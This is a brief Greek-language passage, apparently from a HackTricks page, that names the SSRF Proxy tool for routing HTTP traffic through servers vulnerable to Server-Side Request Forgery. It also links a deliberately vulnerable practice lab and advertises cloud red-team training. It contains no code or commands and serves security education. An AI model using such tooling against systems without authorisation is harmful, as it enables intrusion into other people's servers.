Το SSRF Proxy είναι ένας πολυνηματικός HTTP proxy server σχεδιασμένος να σήμανε την κίνηση HTTP του πελάτη μέσω HTTP servers που είναι ευάλωτοι σε Server-Side Request Forgery (SSRF).

Για πρακτική

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks